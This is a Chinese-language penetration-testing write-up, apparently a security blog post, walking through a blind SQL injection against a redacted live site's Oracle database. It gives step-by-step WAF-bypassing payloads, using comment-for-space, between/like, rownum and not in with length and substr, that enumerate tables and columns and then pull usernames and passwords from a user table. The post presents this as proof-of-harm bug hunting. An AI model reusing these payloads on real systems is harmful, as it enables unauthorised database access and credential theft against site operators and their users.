關于oracle注射獲取數據的實戰文章還是比較少的,比較多的都是寫寫思路或者羅列一些payload就結束了,再比較好一點的也就是繞個WAF獲取個庫名,真的把數據跑出來的文還是寥寥無幾的,也許是因為工作或SRC要求如此吧,但是真的去跑數據的時候還是會遇到各種挑戰的,且與君共享一篇oracle注射獲取數據的文吧。
0x00 sqlmap梭哈?
經典盲注
http://xxx.xxx.xxx/queryByPhone?card=1&phone=13111111111'and'1'like'1&companysID=1

http://xxx.xxx.xxx/queryByPhone?card=1&phone=13111111111'and'1'like'2&companysID=1

典型的盲注,判斷出注入后,多數情況下會想到sqlmap梭哈,但是結果卻是這樣的:

sqlmap也很溫馨的提示了,說是可以添加tamper腳本進行嘗試,玩了一段時間注入的到這里很容易就想到了可能遇上安全防護了,當然這是后話,我們可以根據sqlmap的提示接著往下走,比如--tamper=space2comment

有結果了,瞬間對sqlmap又燃起了希望,接著跑庫名試試

未果,繼續根據提示進行操作


GG,這次不得行了,到這里單純靠sqlmap顯得不靠譜了,接下來就需要去摸清服務端的過濾規則了。
0x01 Fuzz黑名單注出庫名
通過第一步得知空格被過濾了,輸入被過濾的字符,看看服務端的響應:

服務端給出了友好提示,那我們直接fuzz字符,然后根據服務端響應就可以摸清過濾規則了
第一種,直接fuzz(%00-%ff)

第二種,自定義字符字典(記得選中編碼,GET請求URI中的特殊字符多數是需要url編碼的,否則服務端會返回400)


很明顯的看到<和>被過濾了,還有一個比較常用的|字符被干掉了,知道了這兩點,其實跑個庫名就很簡單了,用between and替代大于小于號就行,繼續利用sqlmap的tamper腳本

多數情況下挖到這里其實就可以交差結束戰斗了,但是畢竟2023年第一個oracle注入,必須跑出數據呀,直接sqlmap

意料之中,因為|被干掉了,sqlmap跑oracle數據的payload中借助了|符號(掛個代理看payload發現的) (sqlmap.py --purge可以清除歷史記錄喲)

0x02 半手工出數據
根據oracle數據庫中固有的字段來跑數據
user_tables table_name
user_tab_columns column_name
通過rownum和not in進行單行數據輸出
比較幸運的是length、substr、逗號都沒有被干掉
具體操作如下:
1、獲取表的數量
payload:
13111111111'and/**/(select/**/count(table_name)/**/from/**/user_tables)=/**/1/**/and'1'like'1


2、獲取表名
先判斷第一個表名長度
payload:
13111111111'and/**/(select/**/length(table_name)/**/from/**/user_tables/**/where/**/rownum=1)=/**/1/**/and'1'like'1
借助burp判斷第一個表名長度:14


獲取表名數據
payload:
13111111111'and/**/(select/**/substr(table_name,1,1)/**/from/**/user_tables/**/where/**/rownum=1)=/**/'A'/**/and'1'like'1
(oracle數據庫的庫名、表名、字段都是需要大寫的,還有常見的字符如、$和數字,其中$需要進行url編碼喲)


其它字符以此類推,最終注出第一個表名:BA******NEWS
注出了第一個表名,后續表名借助rownum實現即可判斷第二個表名長度,只要not in第一個表名即可
payload:
13111111111'and/**/(select/**/length(table_name)/**/from/**/user_tables/**/where/**/rownum=1/**/and/**/table_name/**/not/**/in/**/('BA******_NEWS'))=/**/§1§/**/and'1'like'1
后續字符以此類推,其它表名玩法一樣。
3、獲取列名
先判斷第一個列名長度
payload:
13111111111'and/**/(select/**/length(column_name)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1)=/**/'§1§'/**/and'1'like'1
獲取第一個列名字符
payload:


獲取第一個列名字符
payload:
13111111111'and/**/(select/**/substr(column_name,1,1)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1)=/**/'§1§'/**/and'1'like'1


獲取其它列名的方法和獲取表名一樣,借助not in實現
還是同樣的先判斷列名長度
13111111111'and/**/(select/**/length(column_name)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1/**/and/**/column_name/**/not/**/in/**/('ID'))=/**/'§1§'/**/and'1'like'1


再一一獲取列名字符
13111111111'and/**/(select/**/substr(column_name,1,1)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1/**/and/**/column_name/**/not/**/in/**/('ID'))=/**/'§1§'/**/and'1'like'1
……
這里也可以寫腳本跑哈,我比較懶,就直接burp操作了一波,跑出一些可能包含敏感數據的表名就停下,然后跑其中的數據就行。
4、獲取敏感數據
經過了一段時間的注入,獲取到了一個敏感表名:BA******_USERS,對應的字段:USERNAME,PASSWORD
接下來就直接獲取對應的數據就行了,跑出一兩條,證明危害即可哈。
先判斷第一個用戶名長度
13111111111'and/**/(select/**/length(USERNAME)/**/from/**/BA******_USERS/**/where/**/rownum=1)='§1§'and'1'like'1


跑數據
13111111111'and/**/(select/**/substr(USERNAME,§0§,1)/**/from/**/BA******_USERS/**/where/**/rownum=1)='§1§'and'1'like'1


按順序組合即可獲取對應數據:ba******admin獲取PASSWORD字段內容方法同上。
0x03 總結
猶豫了兩天,終于寫了這個文,竟然用了兩個小時的時間,寫的還算比較細了,整個思路和利用過程基本都寫到了,就這樣吧,以后估計也不會如此細致的寫注入的文了,且看且珍惜。
0x00實驗室
一顆小胡椒
LemonSec
一顆小胡椒
信息安全與通信保密雜志社
關鍵基礎設施安全應急響應中心
黑白之道
信息安全與通信保密雜志社
安全內參
安全圈
安全圈
安全圈